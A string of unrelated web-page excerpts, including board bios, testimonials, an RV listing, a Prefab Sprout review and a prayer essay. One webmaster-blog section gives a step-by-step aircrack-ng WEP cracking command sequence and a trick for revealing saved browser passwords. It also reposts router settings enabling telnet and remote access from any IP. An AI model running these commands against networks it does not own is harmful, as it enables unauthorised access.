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Richard YbarraChapter Executive Director
Richard Ybarra is Executive Director of Community Associations Institute – San Diego. This comes after three and a half years as Executive Director of Braille Institute San Diego. Previously he was a senior consultant at Ybarra Company – a Public Affairs business owned by his adult children. They work with nonprofits, corporations, education groups, government agencies, churches, labor, trade associations and foundations. Richard earned a Masters Degree in Public Administration from Harvard University's John F. Kennedy School of Government.
A San Diego native, Richard attended St. Augustine High School, Southwestern College, Chapman University and San Diego State University, as a Psychology Major and PE Minor.
Richard has extensive experience in government relations and public policy at local, state and national levels – having specialized in communication, land use, water, energy and project entitlements. He served as National Vice President of Eureka Communities and as a educational consultant to the University of California President's Office.
Richard taught Upper Division Public Administration at CSU Bakersfield and Political Science at Southwestern College
Boards: Bayview Height's CDC, UCSD Board of Overseers, The Organizing Institute, St. Frances School, California Living Museum, San Diego Red Cross, Homecare Workers Service Center and has coached many youth sports teams.
2019 Board of Directors
Rachael RobenoltPresident
Rachael Robenolt is the owner and operator of 360 Community Management, exclusively serving Homeowners Associations in San Diego County. She started her company after eight years of managing HOA's and with more than 18 years in management and marketing.
Rachael's experience in community management and serving on her own Association's Board of Directors gives her unique community association insights. Rachael is an active volunteer leader in CAI, who has served as an American Heart Association advisor.
Melissa Brown, PCAM, AMSPresident-Elect
Melissa Brown is the San Diego County Regional Director for The Avalon Management Group. She has 18 years of experience in the Homeowner Association Industry. Melissa obtained her CAI, AMS designation in 2013 and the prestigious PCAM designation in 2014. Melissa is well-rounded in all aspects of Homeowner Association Management. She has previously chaired the CAI San Diego Manager Support Committee and is on the Education Committee. Melissa was awarded the CAI San Diego Community Manager Member of the Year Award in 2017.
Patrick Prendiville, CIRMSVice President
Patrick Prendiville started Prendiville Insurance Agency in 1988 after graduating from the University of California, Santa Barbara. Mr. Prendiville has earned the "Community Insurance and Risk Management Specialist (CIRMS)" designation from Community Associations Institute (CAI). Over the years, Patrick has been actively involved in multiple chapters of CAI, including serving as President of the Orange County Chapter and current President of CAI San Diego. Patrick has written numerous articles for CAI magazines and presented multiple educational programs for multiple chapters.
Prendiville Insurance Agency is a seven time member of the prestigious Farmers Insurance President's Council. In 2016, Prendiville Insurance Agency was nationally recognized as the Farmers Insurance Commercial Agency of the year.
Nathan CornettSecretary
Nathan Cornett has a diverse background in for- and not-for-profit organizations with a passion for serving others. At LaBahn's Landscaping, his primary clients are HOA Board Members, investing in communities and board members are a critical component to the company profile. As a board member for CAI San Diego, Nathan will work tirelessly to invest and grow the CAI San Diego Chapter; partnering with the board and many volunteers to improve membership growth and engagement.
Brian Kalmenson, CIRMSTreasurer
Brian Kalmenson is a Commercial Insurance Specialist with the Kirk Miller Insurance Agency, which specializes in providing insurance services to community associations throughout California.
Brian is a former community association manager and holds the CIRMS designation from the Community Associations Institute (CAI). He has been involved with CAI San Diego for a number of years both as a member of multiple committees, as well as the Chair of the Publications Committee.
Yvette HuffmanDirector
Yvette has been in the Common Interest Development (CID) industry since 1988 when she joined Mercury Property Management (MPM) as an assistant to the Vice President of the San Diego Regional Office. Within six months, Yvette was promoted to Property Manager, launching a career in the management of homeowner associations.
In 1990, Marquis Management was purchased and several more promotions were realized over a few short years including District Manager, Vice President and President in 1995. In 1995, Yvette went to work for Executive Community Management as a partner and subsequently purchased the company.
Yvette successfully ran ECM as a sole proprietor from 1998 until 2006 when the business was sold for a profit. Yvette then turned to the collegiate world in 2007 to achieve a lifelong goal of earning a degree (AA Social Sciences; BA Sociology).
Yvette returned to San Diego in 2011 and joined DC Property Management as the Chief Executive Officer until leaving in April 2014.
Presently, Yvette is the owner of Trilogy Community Management and is the sole proprietor. Yvette is an active member of CAI San Diego serves as Co-Chair of the Publications Committee and as a member of the Board of Directors.
Clint McClureDirector
As a professional manager, with over 20 years of experience, Clint has been involved with many associations working closely with the Board of Directors to better their communities. His level of experience is extremely diversified, from successfully managing large condo associations, master planned communities, mid and high-rise buildings, on-site general management and business parks. He has been recognized as a top leader who supported a healthy, ethical and orderly community management industry, and who also commited to working to help shape the industry for the greater good.
Clint McClure is the CoFounder of MMI- McClure Management Inc.
Above all, Clint works to implement effective and positive HOA policies and practices in the communities he serves, thereby providing the membership the value they desire. Clint considers it a privilege to serve with his firm and the communities they service and participate in the industry. Clint is a dedicated husband and father. He and his wife enjoy the outdoors and are blessed with three sons William, Henry and James and their Siberian huskies.
Patrick Morrisey, CMCADirector
Patrick Morrisey was first elected to the Board of Directors of his homeowner association in 2007, and held offices of President, Vice President and CFO/Secretary over a ten-year period of volunteer service. After the developer transition in 2006, Patrick led the Board through an extensive construction defect investigation, expert destructive forensic testing and analysis, a settlement agreement, and the completion of an exterior restoration project.
Patrick's professional background is product development and manufacturing. This experience includes several years as a successful program manager, leading cross-functional teams in organizing, planning, and executing projects in alignment with product strategies to achieve business objectives. He is a member of the Project Management Institute (PMI) and holds a Project Management Professional (PMP) certification. He earned a MBA at the University of San Diego.
Patrick joined Community Association Institute, holds a Certified Manager of Community Associations (CMCA) through the Community Association Managers International Certification Board, and has experience as a portfolio community manager in San Diego.
As a homeowner volunteer leader, Patrick serves on the CAI San Diego Chapter Board of Directors and Legislative Support Committee. In 2017 Patrick received the Duncan McPherson Memorial Scholarship from the CAI California Legislative Action Committee and attended the Legislative Day at the Capital to advocate on behalf of homeowners associations. In 2018 Patrick began service on the Homeowner Leaders Council Membership Representative Group to the CAI Board of Trustees.
Laurie S. Poole, Esq., CCALDirector
Laurie S. Poole is a Managing Partner at Adams Stirling PLC. Laurie is a fellow of CAI's College of Community Association Lawyers (CCAL).
Laurie is actively involved with CAI National and local chapters. Possessing a passion for writing and education, Laurie has published numerous articles relating to common interest developments and has presented educational programs at CAI's California chapters and the CCAL Law Seminar. Since 2007, Laurie has been a member of CAI San Diego's Community Insider magazine committee, serving as chair from 2011 through 2014. She is also the current Co-Chair of CAI San Diego's Educational Services Committee. Laurie has served on the CAI San Diego Board since 2014 and served as President in 2017.
Garrett J. ReynoldsDirector
Garrett J Reynolds served honorably in the United States Marine Corps for 20 years, notably as a Senior Drill Instructor (86-89) and a Gulf War Veteran (90-91). Since retirement, Garrett continues to serve his community as President of the Vista High School Football Boosters Board of Directors, Head basketball coach at Roosevelt Middle School, and volunteer at Calvary Chapel Vista.
Garrett and his family reside in the beautiful community of Marbella in Oceanside, since 1994. Garrett was appointed on the Marbella HOA Board of Directors in 2016 and voted Board President in 2017. Since serving on the board Garrett enhanced his knowledge of community related business by attending CAI San Diego educational events. Garrett developed a passion to serve his community of 113 single-family residents who rely on the HOA Board to act in the best interest of the community with the highest level of fiduciary oversight and fairness. Marbella in Oceanside Community Association was nominated for Community Association of the Year in 2018.
Garrett is a Senior Analyst with Code Plus Inc., a services & solutions provider in the fields of information technology, logistics automation and professional services. Garrett holds AA, BS, and MS degrees from National University.
Garrett was awarded the CAI San Diego Association Volunteer of the Year in 2017.
Garrett is married to Priscilla Reynolds MSN, a Registered Nurse since 1992; they are proud parents of daughter Ashley (UCR, SDSU Grad) and son Garrett Jr (MiraCosta, Cal State LA Grad).
Garrett is thankful for the support of current board members and excited to serve on the CAI San Diego Chapter Board of Directors.
Robert Riddick, CMCADirector
Robert Riddick has been a resident of his 2,677 single-family HOA since 1993. He joined the Greater Inland Empire chapter of CAI in 2007 as a Homeowner member and in 2012 became Chapter President. In August of 2018 he was selected to join the San Diego chapter Board of Directors.
He has served as a member of the Homeowner Leaders Council of CAI-National, the CAI National Board of Trustees, and is now serving as President of CAI's Foundation for Community Association Research.
Robert is an avid boater. He is a certified Master Hypnotist, and self-taught tenor sax player. He's an eternal optimist, a team-player, well-versed in the King's Language, and a deliberative thinker. His Board-goal is to help position CAI San Diego as the premier chapter of CAI nationwide.


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Jamie Gough is one of the most amazing people I have ever had the pleasure of working with. She is professional, organized, smart as a whip and fast. All you have to do is show up with an idea and Jamie can make it blossom into something far greater than you can imagine! When it comes to creativity she is truly inspiring, and her work ethic and integrity are of the highest caliber. As soon as The Speaker Anthology site went live, we had over 250 submissions in 3 days. That speaks to Jamie's work and I can not recommend her highly enough. Jamie is an absolutely fantastic resource, and if I were to rate her work on a scale of 1-10, I would have to give her an 11.
-- Sally Shields, Speaker, Radio Personality, Publicity Specialist & Author, SpeakerAnthology.com
Are you ready to take your business to the next level? Simple Site Guru will help you create a website to attract customers, get them to return, and promote your products and services. All it takes is three easy steps. Step 1 – Attract prospective customers with a WOW and straight-forward design. Step 2 – Get customers to return by displaying exceptional content. Step 3 – Promote your products and services as part of your marketing strategy at an affordable price. Which step will you take to get your business to the next level? Why not all three steps with the help of Jamie and Simple Site Guru.
-- Jose A Munoz Jr, SmallBusinessCollaboration.com
I have worked with many web designers and companies in general over the last 15 years with my husband in the film industry. It is my privilege to write this and share how truly fortunate I am in becoming connected with Jamie and her incredible talents. She has by far surpassed any expectations I have ever had with regard to a web designer not to mention her work ethic and style. She is most professional and a breath of fresh air in co-creating your business persona to elevate your company to the level it is meant to be. Accept nothing less but the best, and that is with Jamie. I will be with her company for a very long time and do not plan on allowing anyone else to address my web and internet needs.
-- Shari Rightmer, ShariRightmer.com
Jamie is a talented web designer who I found to be both professional and friendly. She was easy to work with right from the start. After describing to her what general look, feel, and aspects I wanted included in my website, she produced a beautiful and professional business tool that I am proud to direct potential clients to. Her help has given my small business an added boost by presenting a professional and sophisticated business image. Overall I found her rates incredibly reasonable and her service prompt and thorough. I would highly recommend her and was particularly impressed by her keen artistic eye and writing skills.
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At Network Nursing Agency we understand that there is no place like home. Our mission is to help people with personal care needs, whatever they may be, to re-establish their personal freedom and remain in the warmth and comfort of their own home for as long as possible. We also aim to reduce the burden of worry and stress on families or loved ones by providing peace of mind through the delivery of top quality care. Network Nursing Agency is a leading provider of live in care and nursing services to clients in their own homes. We provide a service that supplies efficient, reliable and caring staff to meet all your needs.
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Magento 1.8.0 has just been release.
Category: Internet
Webmaster Essential Free Tools on Microsoft Windows
Notepad++ – Edit your code.
Pageant – Using SSH keys for logins.
PuTTY – SSH on Windows.
PuTTYgen – SSH key generator.
HeidiSQL – Edit your mySQL database right on your Windows platform.
Chrome/Firefox – Browser.
FastStone Image Resizer – Resize your images with one shot.
JPEGmini – Compresses your image for the web without much loss.
GIMP – Editing images like Adobe Photoshop for free.
Webpagestest.org – Test your website speed.
Qualys SSL Labs – Test your website SSL security.
Feel free to comment your favorite tools
Why not to same your login password within your browser
If you save your login passwords for certain website for easy access, you are at risk of having someone stealing your password with a simple technique.
You can try this within Google Chrome or Firefox with Firebug Addon.
Simply go into some website that you had your password saved.
Right click on the password field and click on "Inspect Element."
The HTML code edit will pop out below your browser and highlights where password is located within the source.
You can now simply change:
Click on anywhere in the source page and you should see your password within that text field.
And finally, that is why you should not save your passwords within your browser.
Cracking my WEP with Backtrack/Kali
*This post is for educational purposes only! Please do not use it against other people!
When my friends asks me to setup their router for wi-fi connection, I have always make sure that the encryption is WPA with a strong password. The reason being is that WEP can be easily cracked using a linux tool called aircrack-ng.
We will be using a linux operating system called Kali (Backtrack). The time it takes to crack the password depends on your wi-fi signal. A strong wi-fi signal is recommended. You will
2)airmon-ng start wlan0
3)airodump-ng mon0
4)airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0
5)aireplay-ng -1 0 -a (bssid) mon0
6)aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0
7)aircrack-ng (filename)*.cap
Author: Jason Lin
Setting up DD-WRT router as a switch
This is a post at ddwrt forum by x1st. Original like here
5th time is a charm!
This time rather than following the wiki, i went with the intuitive method and now have a working solution.
The primary DHCP router is located at 192.168.1.254. I left the dd-wrt secondary router at 192.168.1.1 (I had done this on the original attempt but it still wouldn't find the router.)
I suspect the settings in the GUI that are defaulted to off/disabled may have been an issue and I don't remember if on the first time I had changed these.
Either way here is what I did in-case anyone else finds this post and is having the same problem.
This is for a wired connection to my primary router which handles DHCP. I also was wired into the router for the setup (don't plug into the WAN port on the router for upstream connections, only use the PC/LAN ports for both upstream and then to the individual computers)
For reference: DD-WRT v24-sp2 (08/07/10) std (SVN revision 14896)
Setup -> Basic Setup
Connection Type – Disabled
Router IP – 192.168.1.1/255.255.255.0 (Same subnet as my primary router and not within the DHCP range. Primary router is a DSL/WAP modem/router in one and I can't control the DHCP range which is 192.168.1.65-254)
Gateway & Local DNS – left empty
DHCP Server – Disabled (radio button)
DNSMasq options – Deselect both
Setup -> Advanced Routing
Operating Mode – Router
Wireless – configure this later after getting a working solution.
Services -> Services
DNSMasq – Disabled
Secure Shell – SSHd – enable
Telnet – Enable
traff Daemon – Disabled
Security -> Firewall (I left everything default)
SPI Firewall – I left enabled
Administration -> Management
Web Access
– Enable info Site – Enable
– Info Site Password Protection – Enabled
– Info Site MAC Masking – Enable
Remote Access
– Web GUI Management – Enable
– SSH Management- Enable
– Telnet Management – Enable
– Allow Any Remote IP – Enable
Hope that helps.


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About Us - Exclusive Migration
Focused on providing the highest standards of immigration service and a promise of the utmost standards of professionalism, the interests of each and every client is of paramount importance.
The team at Exclusive Migration gives you our commitment that we will provide you with our best service.
Company Principal – Lisa O'Hara
International business-woman and immigration professional, Lisa O'Hara is considered a leading broad-based migration law practitioner specialising in a comprehensive range of migration law matters.
Founder of the highly-successful Exclusive Migration, Lisa delivers a personalised, results driven service advising Australian and international clients on a range of migration issues. Both corporations and individuals continually seek advice and representation from Lisa as a subject-matter expert.
Lisa graduated with high-distinction in 2007 from the Graduate Certificate in Migration Law & Practice. She was bestowed the Griffith University Award for Excellence in Migration Law & Practice in recognition of her consistent outstanding academic achievements. As a result, Lisa was subsequently conferred membership of the Golden Key International Honour Society.
Lisa is also recognised by the industry and academia as a leading expert and educator on migration legislation and policy. She has completed her graduate studies in Higher Education and has lectured in Migration Law & Practice at the 'Australian National University' since 2009. Lisa also acts as a mentor to newly graduated migration law professionals. She is currently undertaking her Masters of Migration Law and Practice.
In addition, due to her well-regarded knowledge, Lisa is a member of various key reference groups and industry 'think tanks' and regularly provides assistance to fellow migration law practitioners concerning her subject matter specialisation.


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GCU Wellbeing Team
Student Wellbeing
At Glasgow Caledonian University we are committed to ensuring our students have the best possible experience during their time here. The Student Wellbeing team provides a free and confidential advice and support service. We offer a friendly face and a listening ear in a safe and non-judgemental environment. Our aim is to support you through your time at University and help you to achieve your academic success.
If you have any comments or suggestions on any aspects of our service, please use our feedback form.
Detailed information about the support we can provide is outlined on this website and includes the following areas:


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The Lyndhurst moves away from the traditional concepts of a granny flat with its asymmetrical design.
This one bedroom home has been carefully designed to include a spacious bathroom with a huge 1500mm shower, hide-away laundry, compact kitchen and L-shaped living areas.
The dining area is nestled into the alcove provided by the floor to ceiling bay window.
The turned post feature at the front door assumes the elegance of a traditional entry.


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So, um, we're just gonna axe the list from my last post because grad school is making me rethink about what I want to spend time writing about and what I don't.
With that said, I won't be posting Part 2 of the Nostalgia Critic's Pop Quiz Hotshot because it'll just feel redundant and they've made several more posts since I wrote Part 1. I haven't watched Channel Awesome in months anyway since I just follow the producers that I like.
The craft stuff I'll be posting once I actually finish the crafts. I do plan on making and posting about a dinosaur quiet book for future nephew, the Christmas mason jar water globes for my roommates for Christmas, and the handbound children's books.
Now that I'm getting used to living out of my parents' house and where I'm at is baking weather all the time, I'll be getting on the Lovely Little Cupcakes soon. The game seems to be taking more time than expected to make, anyhow, so that worked out!
Right now I'm putting together the baby shower post for tonight, and I've recently added three new chapters to my World of Warcraft fan fiction, Twelve Women of Azeroth. Thanks all!


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Not only is Steve McQueen one of the albums of the 1980s, I would argue that it is one of the albums of all-time.
Not that this seems to be a universally held truth. Despite a lot of love for it, it only manages to scrape in at number 434 on the NME list of the best 500 albums ever. And doesn't appear at all on the equivalent Rolling Stone list. But in this case I can safely say that they are both wrong. Steve McQueen, the second album from Paddy McAloon and his erstwhile band Prefab Sprout, was/is pure genius.
Musically sophisticated yet still totally accessible, lyrically witty whilst still emotionally resonant, melodies to die for, all given a superb pop sheen by producer Thomas Dolby. Oh, and the angelic backing vocals of Wendy Smith are (more than just) the icing on the cake.
From the opening meta-country of "Faron Young" (a country-tinged song taking "Four In The Morning" as its emotional reference point ) the standard is set. Side One then ploughs a furrow that, to my mind, is not excelled anywhere in pop music – Bonny, Appetite, When Love Breaks Down (released at least three times, and still only charting at #25!), Goodbye Lucille #1 (otherwise known as Johnny Johnny), Hallelujah (*not* the Leonard Cohen song!). And if Side Two is somehow less than the first, it is only because of the insanely high standards that have already been set – Moving The River, Horsin' Around, Desire As, Blueberry Pies, When The Angels. Pure pop perfection in one single package.
Nobody could keep up that standard forever, but McAloon and Co. certainly didn't let that stop them trying. Official follow-up From Langley Park To Memphis, the sprawling, ambitious, vaguely conceptual (Love, God, Elvis, Death!) Jordan: The Comeback, the more low-key Andromeda Heights, and the surprise solo (but still using the Prefab moniker) Crimson/Red all flew the flag for perfect, sophisticated pop (and McQueen's predecessor, the slightly prickly Swoon, would be up there too). Yet Steve McQueen acts as a high water mark for just how perfect perfect pop can be.
So here is Bonny, a lyrically ambiguous tome (is it about a girl that's left him, or a man that's died) that is a perfect representation of the Steve McQueen sound. It was later covered very successfully in a more reflective, slowed down version by Editors (who – coincidence or not – were on the same record label – Newcastle-based Kitchenware – as the Prefab's, at the time a veritable feast of goodness with stablemates including Hurrah!, Kane Gang and Martin Stephenson and the Daintees).
So can we do justice to this marvellous song on the ukulele? Probably not, but that won't stop me or you trying. So here's the songsheet. If it looks a little busy, don't worry. Listen to the song, particularly the intro, to get the strumming pattern going which you can keeping going throughout the song. Some of the transition chords are very brief (e.g. the Asus4 at the beginning of the chorus lines, the A's at the end of those lines, and all the Bm7's) and could be skipped if you struggle with timing. But they do add to the colouring of the song. If in doubt at any time, just resort to that gorgeous major 7 chord! Enjoy!


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Farmers 'we're back' following the 2013 drought
Farmers 'we're back' following the 2013 drought
Agricultural production has turned in a stellar performance in the September quarter, which has helped to lift Gross Domestic Product (GDP) in the quarter by 1.4 percent. All this on the day China has overtaken Australia as our single largest export market.
"I can safely say 'were back' from the drought with agricultural production up 17 percent for the September quarter," says Bruce Wills, Federated Farmers President.
"That said, the lingering after effects of drought still means we're down 5.6 percent compared to this point last year.
"To me, this reaffirms why water storage is essential economic infrastructure to meet not only surging demand for our primary exports, but whatever a changing climate will throw at us.
"I'll leave it to the economists to deduce what the opportunity cost of this year's drought is but small it is not.
"We have also seen a historic shift in our export profile with exports to China overtaking Australia for the first time ever on an annual basis.
"I thought it would have
taken until next year, but it shows everyone how explosive
trade growth is when made possible by free trade
agreements," Mr Wills concluded.


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Different Blocking Schemes in Football
The offensive line in football has the task of creating holes for running backs to gain yards or to keep defenders away from the quarterback on passing plays. Complex defensive plays mean that the offensive line has to be ready to react quickly if the designed blocking scheme won't work against a particular defense. The offensive line is usually composed of the center, two guards, two tackles and a tight end, though teams can make changes in that arrangement, such as adding a second tight end.
Man-to-Man Blocking
This is the most straightforward blocking scheme, because it simply requires each offensive lineman to block a specific defensive player. It can be used for running or pass plays. For pass plays, the offensive linemen try to keep defenders from getting to the quarterback, but running plays are designed to open up holes for the running back. Man blocking might open up one or two holes the runner can choose to cut through because the offensive linemen will try to block their men in a certain direction to create space for the ball carrier.
Zone Blocking
An alternative to man-to-man blocking is zone blocking, in which the offensive lineman work as a unit to block a certain area rather than have each lineman take on a particular defender. Zone blocking often results in a defensive player being double-teamed, which gives the offense an advantage, presuming the defense doesn't anticipate the scheme and take advantage of two offensive linemen blocking a single defender. Zone blocking is used primarily in running plays. The offensive linemen working in tandem block on the side where the ball carrier is headed. It requires excellent communication among the linemen and superior athleticism.
Zone Blocking Variations
Many types of zone blocking schemes are used but all are variations of three main types of zones: Inside, outside and stretch. An inside zone play is designed to have the running back run between the tackles. An outside zone is meant for the runner to go just outside one of the tackles, and a stretch play is designed for the back to run just inside the last offensive player on the line of scrimmage, such as a wide receiver.
Play Action Pass Blocking
The term "play action" refers to plays that are set up to look like running plays but wind up as passing plays. The offensive line must help "sell" the idea that it is trying to open up a hole in the defensive line, and the quarterback must do a good job of faking a hand-off to the running back, who starts toward the line. The quarterback then drops back to pass, and the running back picks up any defenders who break through the line. The offensive linemen, who are in a man-to-man blocking scheme, must keep their heads down and not stand up tall as they would in normal pass blocking.
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Leaving a Legacy
Preserving our heritage through film and video will ensure that those that come next can easily access historical film.
Our society has been accustomed to film and television to the point where this is the best way to immortalize West Michigan's progress.
This is a legacy as well as contributing to the greater good.
Becoming a Contributor
Please send your tax deductible contributions to:
The Holland/Zeeland Community Foundation (HZCF)
85 East 8th Street, Suite 110
Holland, Michigan 49423
Make a note in the memo line of your check that your contribution is for the Holland Film Project. We are passionate about this project and hope you are too! Thank you for your consideration.


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A sudden spike in sales has Andy Heck, the president of Alpin Haus, an RV dealership in Amsterdam, N.Y., thrilled that business is booming again.
"All of a sudden, we had to double our work force based on demand in two weeks. Out of the blue, one day it just started going crazy," said Heck.
What's even crazier is that travel experts and economists are watching RV sales very closely and Heck knows why, according to WRGB-TV, Albany.
"As our industry starts to rebound, it's a good sign for other industries," he said.
Travel expert Eric Stigberg over at AAA in Schenectady agrees.
"It's certainly a part of it. People want to see what they can afford," said Stigberg.
The boost in RV business is indicating that many are opting for the 'Staycation' – a more affordable close to home vacation – this summer.
"Travel is something everyone needs to do. If they missed out on it last year, they're not going to miss two years in a row," said Stigberg.
The biggest indicator the RV business is giving may not even be in the travel industry, it may be on the economy. With many opting for the staycation, economists believe that's a good indicator that people are putting feelers out to see if it's alright to spend again.
"So many were frozen last year and paralyzed as what to do in the recession," said Heck. "We're seeing the mood of the customer a lot different this spring. They're still concerned but thinking, 'I kind of weathered the storm.' They are more optimistic."
Alpin Haus was named one of the Top 50 RV Dealers in America by RVBusiness magazine and was one of the top five Blue Ribbon honorees.


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Gifted & Talented program
The Gifted & Talented /ERB/OLSAT test prep activities are designed to enhance the curriculum and prepare our pre-k students to take the exam for admission to gifted and talented public school kindergarten programs and independent private schools. The goal is to give students an advantage through practice, exposure, and familiarity with test taking skills and formatting. Some skills to be taught are: following directions, classification, reasoning, analogies, arithmetic, and sequencing. English/reading and phonics skills will also be taught. These skills will be reviewed on a daily basis using worksheets that address the skills necessary for taking the exam. Teachers use sample questions that are similar in style and content to actual test questions so children become comfortable with the format.
We are aware of the skills and knowledge admissions directors seek from kindergarten
applicants and we understand the kinds of questions likely to be asked. Through
positive reinforcement, which builds children's confidence and ease with test taking,
results are strengthened. Many of the gauged test skills are taught in the classroom during center activities and circle time; however, individual and one-on-one instruction are also provided. Although pre-reading skills are an important part of our curriculum, reading is not a prerequisite for these tests.
Every year most of our pre-Kindergarten students take the ERB/OLSAT exam. A lot of these students are accepted into both private and public school Kindergarten gifted and talented classes.


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Keystone RV Bullet 261RBSWE Travel Trailer For Sale
Keystone Bullet travel trailer 261RBSWE highlights:
- Single Slide
- Full Bathroom
- Outdoor Kitchen
- Laundry Chute
- Private Bedroom
Load up your family and head out to a quiet retreat at your favorite campground with this Bullet travel trailer by Keystone. Before you head inside, check out the outdoor kitchen which features a two-burner range top and a mini refrigerator where you can keep your drinks or snacks cool. In the evening, plan to sit out underneath the 20' electric awning with LED lights and enjoy the scenic sunset. Inside of this model you will love how open and spacious the kitchen and living area are with the single slide, and the full bathroom will provide everything you need to get ready for the day, including a radius shower and linen closet.
Whether you're spending your time soaking up the sun at the edge of the lake or trekking into the forest on a hunt for fresh berries, the Keystone Bullet travel trailer will not only get you to your destination, but it will also keep you happy while you're there. With the most luxury features of any other ultra lite trailer, like the exterior speakers, laundry chute, and LED lighting, the Bullet continues to provide the number one ultra lite travel trailer in America. Because of the contoured shape of the radius front profile on the Bullet, it offers less wind resistance as you tow it along the highway, and when you combine that with the extremely lightweight floor plan design, you get one unit that will help you cut costs when spending money on fuel.Have a question about this floorplan?Contact Us
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StudioWeb - Latest News
Grades 6-12 | Technology Skills | Cloud-based
StudioWeb > Latest News
How StudioWeb and Swift Playgrounds Create an Awesome Code Curriculum Combo
Tuesday, November 15, 2016
Swift Playgrounds essentially takes what Scratch based training provides (with some nice enhancements,) and brings it to the iPad. Swift Playgrounds can replace Scratch based code training, except that students will be learning the basics of the Apple Swift programming language instead.
Why ELL and Disadvantaged Students Should Learn Code
Thursday, July 14, 2016
English-language learners and disadvantaged students stand to benefit the most from learning to code. ELL students can benefit from learning code because all coding languages are based in English—these students will see their English vocabulary improving by learning to code.
Westwood Junior High Students and Teachers Weigh in on StudioWeb
Tuesday, July 5, 2016
StudioWeb recently visited a junior high school that just began using StudioWeb this year to teach students how to write code. Here's what the school found out:
New Course Available!
Monday, August 24, 2015
The world of web design is contantly evolving. Similarly, StudioWeb is always improving and updating its courses. Recently, StudioWeb released its Beginners HTML 2015 course, a new and improved version of its previous HTML course.
Ten Tips for Teaching Web Development
Monday, August 17, 2015
For those new to teaching Web Development, here are some tips to give an idea of how to tackle this subject in the classroom:
- Start Simple: Avoid starting with any difficult coding languages like C# or Java when teaching beginners. PHP, JavaScript, Ruby, and Python are much simpler and easier to pick up. From there, you may consider moving on to more advanced and complex languages!
Why Teach PHP?
Thursday, July 23, 2015
Today, many programming courses teach Python or Ruby as "startup" languages. However, the reality is these languages are not best suited to teaching beginners, especially K12 students.
2015-2016 Sunburst Digital Innovators: StudioWeb & Stefan Mischook
Tuesday, July 14, 2015
PHP. Javascript. CSS. HTML. SQL. What does it all mean? Web Development and application skills are the instruments of the 21st century knowledge economy. These programs form the basis for how we choose to pursue collaboration, interface with technology, and all live in a blended world where we can choose to spend time with computers or other people for knowledge. A few years ago KQED published a landmark article on the characteristics of what the future of teaching and learning might look like: Surprise: Collaboration, Tech Powered, Blended.
Sunburst Partners with Studio Web, the best application available to offer Technology & Creative Skills for students
Monday, June 8, 2015
Sunburst Digital, Inc. today announced that it will supply StudioWeb, a new online educational resource that is designed to assist teachers in the classroom by providing a series of easy-to-understand video training courses on the key Web technologies: HTML, CSS, JavaScript and PHP. The new collaboration will usher Sunburst Digital into a new era dedicated to Computer Literacy and College and Career Readiness.
New Product Announcement: StudioWeb
Tuesday, May 12, 2015
Sunburst Digital is proud to announce that it will supply StudioWeb, a new online educational resource for students in grades 3 to 12. StudioWeb is designed to assist teachers in the classroom by providing a series of easy to understand video training courses on the the key Web technologies: HTML, JavaScript, PHP and more.
This new collaboration ushers Sunburst Digital into a new era dedicated to Computer Competency and College and Career Readiness.
StudioWeb is driven by a set of courses designed by experienced teachers, for teachers. StudioWeb's courses and quizzing engine were developed hand-in-hand, creating an integrated learning experience that greatly enhances student retention, motivation, and comprehension.
Teachers are able to track student progress through automated quiz and activity reports that include trending-grade data on real-time student progress. As students master the key Web technologies, they will earn points and badges that build their profile.
StudioWeb offers two types of lesson tracks: Foundation Courses that teach students the basics and Project Courses that teach students practical real-world development with small scale web projects.


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When we last heard from boxer Bernard Hopkins, he was becoming the oldest champion in the history of boxing and race-baiting Donovan McNabb by saying he wasn't "black enough." Now it turns out that Hopkins is all buddy-buddy with your Phillies manager, one Charlie Manuel. Philly Sports Daily has more:
"He was right on about how you're supposed to go about your business," Manuel said. "That's what separates the average guy from the really good one."
Manuel has met the North Philly fighter. A few years ago, B-Hop paid a visit to the ballpark and ducked his head in to say hello. The two had a long conversation.
"He did most of the talking," said the Phillies manager. That is usually the case with B-Hop. "He really impressed me that day. I thought that's one tough guy, mentally and physically, who wants to be a champion."
I throws me off alignment a bit when a dude as old as Charlie refers to Hopkins as "B-Hop," but I'll allow it. Anyway, I can see why Manuel might admire a guy like Hopkins, who turned his life around after spending five years in prison early in life to become one of the great fighters of all time. Hopkins is kind of a nut job as well, but hey, it isn't like Charlie hasn't come across a handful of those in his lifetime.
However, I also think this could be an elaborate collaboration by both men to further torment McNabb. First Hopkins insults McNabb personally, and now he's getting all chummy with a sports figure from the town where McNabb used to play? Don't you see that Hopkins is trying to send McNabb further into despair, until he finally lashes out at everyone and starts beating up innocent bystanders left and right? TOTALLY A LEGITIMATE THEORY. If Hopkins and DeSean Jackson start having cookouts, you'll know this is more than just a random friendship.


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I know of no better thermometer to your spiritual temperature than this, the measure of the intensity of your prayer. – Charles Spurgeon
"To pray is to change. Prayer is the central avenue God uses to transform us. If we are unwilling to change, we will abandon prayer as a characteristic in our lives. The closer we come to the heartbeat of God the more we see our need and the more we desire to be conformed to Christ…When we pray, God slowly and graciously reveals to us our evasive actions and sets us free from them."
Prayer is not about us and our selfish desires. It is about God teaching us to see things from his point of view. Prayer is learning to have the heart of God, "to desire the things that God desires, to love the things he loves, to will the things he wills."
Prayer was central to those in the Bible who knew God. Jesus always was speaking to his Father. The apostles gave themselves continually to prayer (Acts 6:4). Throughout the history of Christianity, the giants of the faith have been characterized by a life of prayer. Martin Luther wrote that "I have so much business that I cannot get on without spending three hours daily in prayer. John Wesley wrote that "God does nothing but in answer to prayer." William Penn wrote of George Fox that "above all he excelled in prayer".
Those examples in the faith can discourage us. After all, we probably don't pray three hours a day like Martian Luther did. It helps to realize that prayer is a learning process. It is something that we grow deeper in over time as we allow the Holy Spirit to work in us. Foster gives the example of a marathon runner. Most of us would not be able to run a marathon today. However, if we trained over a period of time, we would be able to better run the race. It is like that with prayer. If we continually allow God to move in us, we can expect to pray with more authority a year from now than we do now.
We are often taught by society that the future is set, that it cannot be changed. Whatever will be will be. That outlook discourages meaningful prayer. Part of learning to pray with authority is to realize that our prayers can and do change the future. "The Bible pray-ers prayed as if their prayers could and would make an objective difference." "Certain things will happen in history if we pray rightly." That is both liberating and sobering.
